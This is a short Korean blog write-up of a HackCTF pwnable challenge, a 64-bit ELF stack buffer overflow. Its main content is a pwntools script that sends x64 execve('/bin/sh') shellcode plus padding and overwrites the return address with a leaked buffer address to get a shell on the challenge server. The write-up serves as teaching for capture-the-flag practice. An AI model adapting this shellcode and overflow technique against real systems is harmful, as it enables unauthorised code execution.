반응형
64bit ELF FILE이다.
main함수를 보자.
buffer의 주소를 출력해 준다.
buffer에 64bit용 shellcode을 올려주고 리턴주소를 buffer의 주소로 덮어주면 된다.
0x6D30 = 27952(10)
ex.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3005)
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" #x64
p.recvuntil(": ")
buf = int(p.recv(14), 16)
print hex(buf)
payload = shellcode
payload += "A" * (27960-23)
payload += p64(buf)
p.sendline(payload)
p.interactive()
|
cs |
반응형
'WAR GAME > HackCTF' 카테고리의 다른 글
HackCTF Pwnable [Offset] 풀이 (0) | 2019.08.30 |
---|---|
HackCTF Pwnable [Simple_Overflow_ver_2] 풀이 (0) | 2019.08.30 |
HackCTF Pwnable [x64 Buffer Overflow] 풀이 (0) | 2019.08.29 |
HackCTF Pwnable [내 버퍼가 흘러넘친다!!!] 풀이 (0) | 2019.08.29 |
HackCTF Pwnable [Basic_BOF #2] 풀이 (0) | 2019.08.29 |